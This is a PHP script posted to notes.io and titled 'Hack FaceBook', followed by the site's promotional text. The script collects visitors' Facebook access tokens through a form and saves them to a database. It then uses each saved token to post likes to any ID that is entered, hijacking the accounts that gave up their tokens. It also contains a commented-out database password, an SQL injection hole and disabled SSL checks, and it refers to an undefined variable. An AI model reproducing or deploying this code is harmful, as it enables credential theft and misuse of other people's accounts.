Notes
Notes - notes.io |
session_start();
//$conn=mysql_connect("localhost", "id1938422_1", "hieukaka") or die("can't connect database");
//mysql_select_db("id1938422_1",$conn);
include 'facebook.php';
function get_html($url){$ch = curl_init();curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_FAILONERROR, 0);$data = curl_exec($ch);curl_close($ch);return $data;}
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="https://v4-alpha.getbootstrap.com/favicon.ico">
<title>Trung Hiếu - Hack FaceBook</title>
<link href="./files/bootstrap.min.css" rel="stylesheet">
<link href="./files/signin.css" rel="stylesheet">
</head>
<body>';
if(isset($_SESSION['id'])) {
if ($_POST['like']) {
if(!$_POST['like']) {$id = '456536484494632';} else {$id = $_POST['like'];}
while($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
$m = $row['token1'];
$facebook->setAccessToken($m);
try {
$facebook->api("/".$id."/likes", 'POST');
++$success;
}
catch (FacebookApiException $e) {
++$fail;
}
}
echo 'Bạn vừa tăng '.$success.' like cho ID: '.$id.'. Xin cảm ơn!';
}
?>
<div class="container">
<form method="post" class="form-signin">
<h2 class="form-signin-heading">Nhập ID cần Like:</h2>
<input type="text" class="form-control" name="like" placeholder="456536484494632" autofocus="">
<button class="btn btn-lg btn-primary btn-block" type="submit">LIKE</button>
</form>
</div>
<?php
} else {
if($_POST['token']) {
$token2 = $_POST['token'];
if(preg_match("'access_token=(.*?)&expires_in='", $token2, $matches)){
$token = $matches[1];
} else {
$token = $token2;
}
$userData = json_decode(get_html('https://graph.facebook.com/me?access_token='.$token),true);
if($userData['id'] > 0) {
mysql_query("REPLACE INTO token_all (token,id,name) VALUES ('$token','{$userData['id']}','{$userData['name']}')");
$_SESSION['id'] = $userData['id'];
$_SESSION['name'] = $userData['name'];
$_SESSION['token'] = $token;
header("Location: index.php?log=Login Success!");
} else {
header("Location: index.php?log=Sorry! Fail to login");
}
} else {
echo'<div class="container">
<form method="post" class="form-signin">
<h2 class="form-signin-heading">Nhập Token vào:</h2>
<input type="text" class="form-control" name="token" placeholder="EAA...." autofocus="">
<button class="btn btn-lg btn-primary btn-block" type="submit">BẮT ĐẦU</button>
</form>
</div>';
}
}
echo '</body></html>';
?>
|
Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...
With notes.io;
- * You can take a note from anywhere and any device with internet connection.
- * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
- * You can quickly share your contents without website, blog and e-mail.
- * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
- * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.
Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.
Easy: Notes.io doesn’t require installation. Just write and share note!
Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )
Free: Notes.io works for 12 years and has been free since the day it was started.
You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;
Email: [email protected]
Twitter: http://twitter.com/notesio
Instagram: http://instagram.com/notes.io
Facebook: http://facebook.com/notesio
Regards;
Notes.io Team